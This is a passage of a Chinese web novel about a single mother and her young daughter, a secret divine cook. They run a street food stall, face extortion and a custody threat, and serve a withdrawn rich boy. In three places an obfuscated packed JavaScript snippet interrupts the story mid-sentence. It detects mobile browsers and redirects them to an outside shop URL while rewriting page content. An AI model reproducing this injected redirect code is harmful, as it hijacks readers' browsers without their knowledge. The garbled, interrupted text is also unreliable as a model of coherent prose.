宋听雅心里“咯噔”一下,脸上的笑差点挂不住。 吴姐说的张哥——八九不离十。 “新来的?”张哥吐出一口烟圈,慢悠悠凑近,“生意挺旺啊。” 宋听雅立刻放下手里的袋子,挤出笑:“是、是,今天刚来。您是张哥吧?吴姐跟我们提过……” “吴翠莲啊。”张哥嗤笑一声,“她倒是会做人。” 他的目光往下落,落在宋如淼身上。小姑娘正踮着脚翻炒,灶火把她的小脸映得通红,额前碎发被汗沾湿,贴在皮肤上。她没抬头,像根本没把这两个人当回事。 张哥挑眉:“这么小就会做饭?你爸呢——” 他说着,手伸过来,像要拍她的头。 宋听雅瞬间上前半步,几乎是本能地把宋如淼挡在灶台内侧,:“张哥,这是我们的一点心意,您多关照。” 她把信封递过去,指尖却还在抖。 张哥没接,反倒伸手,直接掀开保温箱的盖子。 热气扑出来,里面码着备用的土豆饼,金黄油亮。 宋听雅的心一下子提到嗓子眼——那一瞬,她几乎想伸手去按住盖子,可她不敢。 张哥拿了一个,咬了一大口,嚼了两下,点点头:“手艺可以。就是——你这儿太挤了。人多了容易出事。万一谁摔一跤,谁烫一下,怪到你头上,你担得起?” 板寸头立刻接话:“我们也不是找你麻烦,主要是——帮你控控流量。” “控流量”三个字,软得像棉,却裹着刀。 你不交,他真能在摊前站两个人,把路口一挡,随便一句“别聚集”,人就散了。你连解释都没地方解释。 宋听雅脸色白得像纸。她咬住嘴唇,还是把手机掏出来,手指发抖地扫了板寸头胳膊上贴的码。 “嘀——” 【微信转账:¥300.00】 张哥这才笑了:“还挺懂事。” 他把吃剩的半个饼随手丢进旁边垃圾桶:“夜市这边我每个月都得来‘看看’,你别让我跑空。” 宋听雅喉咙里像吞了块热炭,烧得发疼,却只能点头:“好……好。” 张哥和板寸头施施然离开,像从她们碗里捞走一块肉,还嫌你肉不够肥。 宋听雅站在原地,胸口一阵阵发麻。她听见周围的“嘀嘀”收款声还在响,闻见锅里的香还在冒,可她忽然有点喘不过气。 原来这世上,哪儿都有“规矩”。 “妈妈。”宋如淼从板凳上跳下来,小手握住她冰凉的手指,“还有好多人等着呢。” 宋听雅回神,硬生生把那口潮热压回去:“……好,继续卖。” 宋如淼重新站上小板凳。今天的妈妈实在不适合上灶——她手抖得厉害,眼神也散。 小小的人忍着手腕的酸痛,重新掌勺。 一份又一份,一碗又一碗,油烟裹着汗气往脸上扑。她的胳膊发软,脚下的小板凳也微微晃,可她一声不吭,只把锅稳住,把火稳住,把每一粒米、每一根面都翻得亮亮的。 就在这时,一个声音像从云端落下来,贴着她耳骨响起—— “功德累计:50。” “天赋‘香引’已开启:香气可远,可聚,可牵引。” “注:香引随心念微动,消耗极低。” 宋如淼睫毛轻轻一颤。 原来……功德不是白攒的。攒到“成数”,会回报。 她来不及细想,锅重新稳住,把火候掐回正位,试了下起心动念,香引开启,像把一粒看不见的盐撒进滚油里。 下一秒,香气像忽然长了腿。 它不再只在37号这一小块棚子底下打转,而是顺着人流的缝隙往外钻,钻过两个摊位,钻过一排灯,钻到夜市入口处,钻进刚进门的人鼻子里—— “咦?这边是什么味儿?” “好香……像葱油、像蛋香,还带点焦香——” “走走走,去看看是谁家。” 队伍肉眼可见地涨起来。 原本犹豫着要走的客人回头:“阿姨,我还是来一份炒饭吧,加蛋!” 隔壁卖糖葫芦的大叔愣了下,骂骂咧咧:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091472|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这第一天就这么旺?不讲理啊。” 嘴上骂,手却默默把自家凳子往里挪了挪,给她们让出更多排队的位置。 火起,油响,香更盛。 这一晚,37号摊前的人一直没断过。夸赞声不绝于耳,收款提示“嘀嘀嘀”像雨点落在手机上,钱盒也一点点沉下来。 十一点多收摊。 夜市的灯一盏盏灭下去,清洁工推着车走过,扫帚沙沙响。宋听雅清点收入,嗓音发哑:“六百多……去掉成本……两百出头。” 她看着余额,指尖冰凉。她想:一晚上拼到手抖,先给了管理费八百,又给了张哥六百——她们还没真正“开始”,就先被剜走一块肉。 推车回到老居民区那条小巷时,夜风更凉了。 宋听雅忽然停住脚步。 街角那辆黑色轿车又在。 这一次,车窗降下一半,里面的人没有躲。 路灯照出女人半张脸。她的目光先落在推车上,又落在宋如淼身上,停了停,最后才慢慢回到宋听雅脸上,嘴角轻轻一勾,像在看拙劣低下的人。 宋听雅浑身血液都凝固了,本能地把宋如淼往身后藏。 车里只有唐安意。 唐安意慢条斯理地开口:“摆摊?” 宋听雅喉咙发疼,没答。 唐安意的目光又落回宋如淼,像在评估一件物品的价码:“你苦点、下贱点,没关系。可你一个做母亲的,怎么能让孩子跟着你这么辛苦?何况还是女孩。” 她说“辛苦”两个字时,没有半分心疼,只有居高临下的怜悯——怜悯里还带着嘲弄。 “跟你过这种苦日子,”她轻轻笑了一声,“不嫌丢人吗?” 宋听雅指尖瞬间发白,胸口那点旧伤被精准地剜开。她想反驳,却发现自己连一句像样的话都找不到。 因为她确实穷,确实狼狈,确实在街边讨生活。更因为她要有收入——不然淼淼的抚养权,就会被抢走。 宋如淼却从宋听雅身后探出头。 小姑娘的脸还带着灶火熏出来的红,额前碎发贴着汗,眼睛却亮得像一颗不肯蒙尘的珠子。 她看着唐安意,声音不大,却干净清楚: “阿姨,丢人的是——只会站在车里笑别人。” 唐安意微微一怔。 宋如淼继续说,语气软糯,却字字落地:“我们做饭换钱,是用手换的,不是用脸换的。” 她顿了顿,像一个六岁孩子的认真,又像把一把小刀藏进糖里: “你看不起我们,是因为你没尝过‘自己活出来’的味道。” 宋听雅心口狠狠一震。 她几乎要把宋如淼拉回身后。可宋如淼却更近一步,握住宋听雅的手,掌心温热,稳稳把她拉住。 “我跟着妈妈,不委屈。”她认真补了一句,“我最怕的不是苦,是没有妈妈。疼小孩,自己生去,关心别人家的算什么。” 唐安意的笑意僵了一下,像被什么不该有的锋利划到,孩子,如果她有,她能生,她们就是死了,她也不会多看一眼!她的眼神更冷:“牙尖嘴利。不过是摆摊的,有上顿没下顿。等你收入不够维持淼淼上学的时候——就是让你们母女分离的时候。” 黑色轿车发动,悄无声息地驶离巷口,像从未出现过。 可那股寒意,还留在原地。 宋听雅站着,浑身发抖。也不是怕,是一种被人踩到尘里却无力反击的愤怒和无助……以及那一点点,仍不肯死心的荒唐。 宋如淼拉住她的手,掌心温热:“妈妈,我们回家。锅里还有剩饭,我给你抄一碗蛋炒饭。” 宋听雅喉咙一哽,重重点头:“好。” 回到屋里,门一关,狭窄的出租屋像一座小小的堡垒。 宋如淼把剩饭、鸡蛋、一点点葱花,锅里翻起朴素的香。她盛了一碗递给宋听雅:“妈妈吃。” 宋听雅一口一口吃着,明明很香,却食不知味。抬头,看见宋如淼也坐在对面,小口小口吃着,像什么都没发生过。 那一瞬间,宋听雅忽然有点想哭。 “淼淼……”她嗓子发哑,“跟着妈妈,委屈你了。都怪妈妈没用。” 宋如淼认真摇头,像把每个字都掰开了给她听:“你不是没用。你只是太怕失去我。” 她伸手,把宋听雅的掌心按在自己胸口——那儿有一小簇热意在燃烧。 “妈妈,感受到了么?”她声音很轻,“我的心跳是你给的,我们会越来越好的。” 宋听雅怔住,指尖被那点温热烫得发颤,宋如淼的眼神认真得不像六岁。 窗外风起,像要落雨。 宋如淼轻轻呼出一口气。 她们娘俩的路——已经亮起来了。以后谁想掀她们的锅,那就让谁尝尝烫的滋味。 6.视频爆火,渣爹上门 晚上,中山路夜市的灯像一串串挂在天上的糖葫芦,亮得晃眼。人流一来,便是潮水。 37号棚子底下,油一落锅,“滋啦”一声,葱香就贴着风跑。 宋如淼站在小板凳上,锅铲“嚓嚓”刮着锅底,米粒在锅里翻滚,她掐火候的手腕稳得不像六岁——可她偏偏又会在最该笨拙的时候,故意慢半拍,像个认真学做饭的小孩。 自从“香引”开了,她更谨慎。 只让香气比别人多飘一点点:三五米,不远不近;只让回头客比平时多一两成:刚刚好像“手艺特别好”,而不是“邪门”。 她摸到门道后,甚至学会把香气藏进缝里——人潮挤的时候,香就往队尾钻;风大时,香就贴着雨棚往下压;隔壁摊主吆喝得正响,她就把香收一收,像懂事的孩子不抢话。 可“藏”得再好,也挡不住短视频时代的镜头会自己长腿。 那天傍晚,一个大学生边排队边拍,随手剪了几段:一段是她踮脚颠锅的背影,一段是炒饭出锅时那层油亮的光,一段是他自己咬下第一口的表情——像被香气打了个正着。 配文还欠得很—— 【夜市惊现六岁掌勺小厨神,炒饭香哭我。】 第二天被转进同城号,第三天就挂在热榜边缘,评论区一水儿“地址”“求定位”“我也要去”。 宋听雅抱着手机看,手心全是汗,连呼吸都不敢放大:“这会不会……太招摇了?” 宋如淼安慰道:“妈妈,这是好事。” “好事?”宋听雅怔住。 “有人免费帮我们宣传。”宋如淼说得很认真,像在教一个不会算账的大人,“来的客人多,钱就多。钱多,咱们就能换厚被子,换好锅,也能攒房费、学费。” 她没说出口的是:钱多,才站得住。站得住,才不怕剧情来掀锅。 冬天一到,夜市的风像刀,排队的人手指冻得发白。 宋如淼早早让宋听雅买了姜和红糖。那天她们比平时提前去了一会儿,宋听雅把姜切得细细的,红糖敲得碎碎的,煮了一大锅,放在摊前的小暖炉上,还贴了张手写牌: 【排队可领热姜茶一杯】 成本不高,暖的是人心。 有大叔喝了两口,哈着白气:“这天儿你还想着给人暖一口,难得。” 有年轻妈妈把杯子捧给孩子,小声叮嘱:“谢谢姐姐。” 还有个刚下班的女孩端着姜茶站在风里,眼眶红红的,没说话,只冲宋听雅点了点头。 那一晚,提示音断断续续响个不停。 “叮——功德+1。” “叮——功德+2。” 宋如淼睫毛一颤,忽然明白:让人吃饱是功德,让人“撑住”也是。 她以为日子会就这样一点点往上走,像锅里翻滚的米粒,越炒越香。 直到那个周末。 夜市刚收摊,灯还没全灭,宋听雅正弯腰擦灶台,忽然有人站到37号棚前,声音温和得像一杯温水: “请问是宋听雅女士吧?” 宋听雅抬头,看见一个穿深色大衣的男人,三十多岁,戴眼镜,拎公文包,笑得客气。客气得不像夜市的人。 “我、我是。”宋听雅下意识把围裙往身上拢了拢,像怕油烟把人家弄脏,“您是……” “我是傅庭深先生的代理律师。”男人递出名片,语气依旧温和,“傅先生委托我向您转达两件事。” 名片上“律师”两个字亮得刺眼。 宋听雅呼吸当场乱了一拍,脸色一点点白下去。她没敢接,像那不是纸,是刀。 她甚至还抱着一点傻念头,声音发哑地问了一句:“他……他来了吗?” 律师笑意不变:“傅先生不便到场。” 这句话像一锤,敲碎她心口那点“也许”。 “第一,”律师取出文件,边缘整齐得像切过,“傅先生已取证,认为您长期让未成年儿童参与经营、并利用网络曝光炒作牟利,对孩子身心发展极为不利。” “第二,”他顿了顿,语气像在给她留面子,“傅先生愿意依法承担抚养责任,为宋如淼提供更好的教育与生活环境。请您在三日内配合办理相关手续。” 三日内。配合办理。 每个词都像钉子,往宋听雅心口里钉。 夜市还没散尽的人影突然变得模糊,灯光像抖了一下,宋听雅耳朵里只剩“嗡嗡”的响。她下意识攥住推车把手,铁皮冰凉,硌得掌心发疼。 她看见律师身后不远处停着一辆车,车窗半降,里面的人没露全脸,却有一双眼睛冷得像水。那双眼,她认得。 宋听雅喉咙像被烟呛住,半天挤不出一句话——她穷,她狼狈,她在街边讨生活,她都可以抗住,可却抗不住这碎得连渣都不剩的体面。 律师还在温声补刀:“宋女士,这是为了孩子好。关于抚养费与补偿,可由双方律师协商——” “为了我好?” 一道软软的声音插进来。 宋如淼从小板凳上跳下来,鞋底落地“啪”一声,很轻,却像给这一幕按下了暂停。 她走到宋听雅身边,小手握住妈妈发冷的手指。再抬头看律师,眼神干净: “为了我好——那你问过我吗?我想要的好是什么?” 律师一滞。 宋如淼歪了歪头,像孩子问最简单的那种“为什么”: “我饿的时候、冷的时候、差点没饭吃的时候,他在哪儿?” 她没等人回答,指了指摊前还温着的姜茶,指尖小小的: “你看见了吗?这不是舞台,这是我们家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096105|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅,是我和妈妈的饭。” 她声音不大,却字字清楚: “我会做饭,是因为我想让妈妈吃饱。妈妈摆摊,是因为她想让我上学。” 宋听雅眼泪一下子掉下来,慌忙低头去擦。下一秒,宋如淼拽了拽她的袖子,声音忽然软下来——软得像一团热气,贴着人心口: “妈妈,别哭。我最怕的不是辛苦,不是摆摊——是没有妈妈。” “我不会跟任何人走。” 宋听雅胸口那口堵了很久的气,终于吐出来。她抬起头,眼里第一次有了硬气,嗓音发哑,却稳: “你回去告诉傅庭深,我会找律师。” “你们要走程序,那就走。” 她抬手按住推车把手,像按住自己最后的骨头: “你们要证据,我也有证据——账本、转账记录、老师证明,我一样不少。” “但任何人也别想把我们母女拆开。” 她不能再让淼淼出现在风口上了。 当晚回家,宋听雅几乎没睡。她把重要东西一样样收进包:证件、学校证明、账本、银行卡……… 第二天天还没亮透,她就带着淼淼离开了中山路。 云城很大,中山路不过一条街;昌北是远郊新区,新盘多,中介一口气带她们连看三套,当天就签了——押一付一就能住。 新小区门口有保安,路宽、树多,空气里少了油烟,多了点清晨的湿冷。宋听雅站在新房门口,手心还是潮的,却终于敢把背挺直。 她看着女儿,哑声说:“淼淼,这几个月我们攒下将近五万。除去房租、生活费、学费……还能拿三万,租个学校门口的小店面。” “周末你教教妈妈。以后妈妈做饭,你好好上学。” 这话说得像誓言。 宋如淼抬起下巴,带一点小神仙的傲气,眼睛却亮得很乖: “我可是厨神弟子。” “我会教好你,妈妈也会学好的。” 宋听雅被她逗得鼻子一酸,把她抱进怀里,声音轻得像怕惊动命运:“谢谢你……谢谢你来当我的女儿。” 很快,学校路口的小门脸挂起了新招牌—— 【淼淼小吃铺】 锅还是那口锅,火还是那团火,日子却终于有了样子。 在春暖花开的时节,一缕饭香从门缝里飘出去。 隔着院墙的路上,有个穿校服的小少爷鼻尖微微动了动。 那张总是冷着、像什么都不感兴趣的脸上,第一次浮出一点点“想要”的神色。 ——好香。 他让司机停车,自己站在路灯下。睫毛很长,眼睛淡得像雪,像很久很久没被人间的热气真正碰到过。 他看着那块小小的招牌,低声说了句: “过去看看。” 7.饭香引来了小少爷 “过去看看。” 司机应了一声,把车靠边停稳,下车替他拉开后座门。 春夜的风还带着一点凉,吹到谢晚酌脸上。他抬了抬大衣领口,路灯把他的影子拉得细长,投在那块小小的招牌上—— 【淼淼小吃铺】 门脸不大,玻璃擦得透亮,里面亮着暖黄的灯。透过玻璃,他能看见四张原木小方桌;墙上贴着几张菜式照片,照片边角还用透明胶带压得规规整整。 最里头是半开放式的操作台,宋听雅正握着锅铲专注翻炒,翠绿的青菜在锅里翻滚,油响“滋滋”地冒,香气顺着通风扇的缝隙漫出来,像会走路一样,绕过玻璃门缝,贴着人鼻尖轻轻一勾。 谢晚酌脚步顿了顿。 他向来不在外面吃东西。家里有营养师配好的食谱,有精确到克的食材;医生也叮嘱过,他胃不好,最忌乱吃。更别说这种街边小店——油烟、调味、火候,全是不可控的变量。 司机在旁边压低声音提醒:“少爷,恐怕您不适合在这用餐。” 谢晚酌眼睫微动,像在和自己较劲。 “我知道。”他打断,声音很淡,抬步走向玻璃门,抬手推开。 “叮铃——” 风铃清脆地响了一串。 宋听雅从灶台边抬头,忙擦了擦手,挤出笑:“您好,欢迎光临。” 操作台后面,宋如淼也探出头来。小姑娘先看了眼他身上的校服,又扫到门外那辆车和司机,心里“哦”了一声——这不是普通来觅食的小孩。 她立刻从后厨绕出来,笑得甜而自然:“哥哥好——想吃点什么?炒饭只剩最后一份喽,再晚就要收锅啦。” 谢晚酌下意识想说“不用”,脚尖甚至往后撤了半寸。可香气就在这时又绕了一圈,像故意给他添一把火。 他抬眼,扫了眼靠窗的位置,最终还是走进去坐下,背挺得笔直。 宋如淼立刻跑去拿菜单。 菜单是塑封的,边角还被剪圆,怕刮手。字不多,价格也亲民。她又去消毒柜里取出碗筷,拿热水细细烫过,一一摆好,末了抬头笑嘻嘻地说:“烫过啦,干净的!” 谢晚酌看了一眼,没说什么,只“嗯”了一声。 宋如淼把菜单往他面前一推:“哥哥想吃什么?” 谢晚酌指尖在菜单上停了停,抬眼看向灶台:“你们锅里做的是什么?闻着很香。” “青菜肉末炒饭。还有玉米排骨汤——刚炖好。” 谢晚酌喉结轻轻动了一下:“一份炒饭,一碗汤。” “好嘞!”宋如淼脆生生应下,抽走菜单就往操作台跑,踮着脚凑到宋听雅耳边压低声音,“妈妈,点单啦!炒饭保持刚才的火候,汤盛今天炖得最烂的那几块排骨。” 宋如淼端出来时,白雾蒙蒙的热气涌出,裹挟着醇厚的骨香。她把汤盅轻轻放到他面前,认真叮嘱:“小心烫。这汤炖了很久,玉米吸饱了骨汤。你喝一口,暖胃。” 谢晚酌没回答,只拿起勺,舀了一口,吹了吹,送入口中。 热从喉咙滑下去的那一瞬,他眉心明显松了。胃里那股紧绷像被温水一点点化开,连带着胸口都轻了半寸。 他又夹了一口饭。青菜脆,肉末香,米粒粒粒分明,舌尖最后尝到一点点胡椒的暖,刚好,不多不少。 宋如淼在旁边那张桌子坐下,双手托着下巴,眼睛一眨不眨地看着他。 这人真好看。睫毛长,皮肤白,却冷得像冬天结冰的湖面,让人不敢轻易靠近——可他捧着热汤的那一刻,冰面像裂开了一条很小的缝。 很快,他吃完了最后一口饭,汤也见了底。碗里只剩几粒米粘着,汤盅里的排骨和玉米吃得干干净净。 他放下筷子,用纸巾擦了擦嘴角,抬眼看向宋如淼。 “不错。”他说,声音仍旧平淡。 宋如淼眼睛一亮,从椅子上跳下来:“对吧!我妈妈学得可快了!” 谢晚酌目光掠过墙上的菜式照片:“就这些?” “试营业嘛!以后我会更新的。” “你会?”谢晚酌眉梢轻轻一动。 宋如淼一点都不心虚,说得理直气壮:“我跟电视学的呀!电视教一遍,我就记住啦。” 谢晚酌没再追问,只掏出手机:“多少钱?” 宋听雅忙出来,指着二维码:“炒饭十二,汤八块,一共二十元。扫这儿就行。” 【微信收款:¥20.00】 谢晚酌收起手机,起身要走,风铃又响了一串,像在送他。 他走到门口时脚步几不可察地顿了顿,回头看了一眼——宋如淼站在暖黄灯下朝他挥手,额前碎发被光镀出一点浅金;后厨灶火温热,汤锅还冒着白雾,满是人间烟火气。 他喉结轻轻动了动,低低“嗯”了一声,转身融进暮色里。 车门关上,司机回头问:“少爷,家里还要准备晚饭么?” 谢晚酌靠进椅背,淡声道:“不用。” —— 店里收拾碗筷时,宋听雅一边擦桌子一边感慨:“那孩子长得真好看,就是太冷清了。一个人出来吃饭,怪孤单的。” 宋如淼把椅子归位,忽然抬头:“妈妈,我好像见过这个哥哥。” “我们才搬来多久呀。”宋听雅笑着揉她头发,“可能是因为好看,你就觉得见过。” 宋如淼没吭声。 她趴回操作台的小台子上写作业,笔尖沙沙划过纸。写到一半,她忽然顿住,像被针扎了一下,慢慢抬手按住心口。 不对。 太不对了。 刚才那个人,明明把饭菜吃得一滴不剩,汤也喝得干干净净。按理说——只要一个人吃得满足、心里起一点暖,功德就该落下一声“叮——功德+1”。 可刚才……没有。 一点都没有。 宋如淼睫毛轻轻颤了颤,指尖在胸口停了很久。 ——怎么回事呢? 从那天开始,谢晚酌成了“淼淼小吃铺”的常客。 他来得很准,几乎每天晚上,卡着她们关门前三十分钟推开那扇玻璃门。这个点儿,风铃“叮铃”一响,宋听雅就知道是他来了,笑着招呼:“来啦?” 谢晚酌点头,依旧选靠窗那张桌子坐下。依旧坐得很直,外套永远叠得整齐,连杯口朝向都要摆正。吃饭时不说话,吃完也只轻轻一句“谢谢”,像把所有情绪都锁进礼貌里。 宋如淼一开始还觉得他“怪”。 后来发现:怪得很稳定。 稳定到她可以闭着眼背出来他的流程:进门、点头、坐下、吃饭、结账、离开;像一条写死的剧情线,偏偏又每天准时出现。 小店的菜单也慢慢丰富起来。墙上的照片一天比一天多,宋听雅的手也一天比一天稳。她煮面时不再手忙脚乱,翻炒时锅铲不再发抖,连摆盘都学会撒一撮葱花点个颜色——人终于从“被生活追着跑”,变成“能追着生活讨一点甜了”。 而宋如淼呢? 她每天的功德提示音都响得很热闹—— “叮——功德+1。” “叮——功德+2。” 隔壁工地的大叔吃完一碗面,说“这口面算是把我命续回来了”;送孩子上课外班的妈妈喝一口例汤,说“感觉今天没那么紧绷了”;还有穿校服的女孩子捧着热汤站在门口,甜甜地说“谢谢”。 功德像小金币一样叮叮当当往她兜里掉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100648|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可谢晚酌—— 一次也没有。 一次都没有。 这事儿太刺眼了。就像一堆“叮叮叮”里突然多了一段死寂,死寂还天天准时来报到。 这天晚上,谢晚酌刚坐下,宋听雅照例问:“今天想吃什么?” 谢晚酌扫过墙上新贴的菜式照片,淡淡道:“都行。” 都行,随便——真是最让人头疼的回答。 宋如淼转身跑回厨房:“妈妈,鲜肉小馄饨吧!今天馅儿调得特别好!” 宋听雅却还是下意识看了谢晚酌一眼:“可以么?” 谢晚酌:“好。” 馄饨端上来时,皮薄得透光,能看见里面粉嫩的馅。汤色鲜亮,热腾腾扑到脸上。 谢晚酌安静地吃。一口馄饨、一口汤。 宋如淼坐在隔壁桌写作业,铅笔沙沙响,眼角余光却总往他这边瞟。 她在等。 等那缕功德暖流。 可还是没有,还是没有。 馄饨一个不剩,汤也喝得见底。他放下勺,轻声说:“谢谢。” 又是“谢谢”。 宋如淼心口那点期待,像火星落在冰面上,“嗤”一声就灭了。 这都快一个月了。 怎么就他吃一点功德都没有呢? 宋如淼坐不住了。 司命伯伯说过,功德来源于“让人获得温热满足”。谢晚酌难道不满足?还是说——他根本没觉得好吃,只是出于教养才勉强吃完? 这个念头像根小刺,扎在她心里。 她可以接受有人挑食——天宫膳房也常遇到。可她不能接受有人为了不让她难堪而假装喜欢。 那是对厨神的侮辱! 于是当谢晚酌又一次推门进来时,宋如淼没像往常那样笑着迎上去。 她站在操作台后,小手攥着围裙边,眼睛盯着他,很认真地问:“谢晚酌,你是不是不喜欢吃我家的饭?” 店里忽然静了。 宋听雅正往锅里下面,闻言手一抖,几根面条掉到灶台上。她赶紧捡起来,偷偷看了眼女儿——小脸绷着,琥珀色的眼睛没有笑意,像两粒硬糖般微微瞪着。 谢晚酌站在门口,风铃还在他头顶轻轻晃。他愣了一下,似乎没料到这个问题。 “没有。”他说。 “那为什么你从来不夸好吃?”宋如淼追问,“别的客人都会说‘好吃’、‘下次还来’,你只会说‘谢谢’。” 谢晚酌沉默了几秒。 他走进来,关上门,风铃又响了一声。目光落在宋如淼脸上,像在斟酌词句——这种斟酌很少见,像他也不习惯和人解释“为什么”。 “好吃。”他终于开口,声音比平时低一点。 他顿了顿,像要确保自己说出来的不是随便安慰人的话,而是事实。 “馄饨馅很鲜,汤也很好喝。” “炒饭米粒散,油光不腻。”睫毛垂下去,又补了一句,“我只是……不习惯说。” 宋如淼盯着他。 “那好吧。”她泄了口气,还是很快把笑挂回脸上,像翻锅一样利落,“那你今天吃什么?黄金蛋炒饭好不好?” 谢晚酌点点头,坐下。 那一晚,他还是吃光了,也喝光了附送的海带汤。功德依然没来。 宋如淼终于认栽:好吧,可能真不是他的问题,是“机制”问题。 司命伯伯只说了“让人获得温热满足”,可没具体说“人”指哪些人——万一天庭的功德收取对某些特殊体质不识别呢? 她把疑问压回心口,像把火候压住:不急,慢慢炖。 直到周五晚上谢晚酌没来。周六,也没来。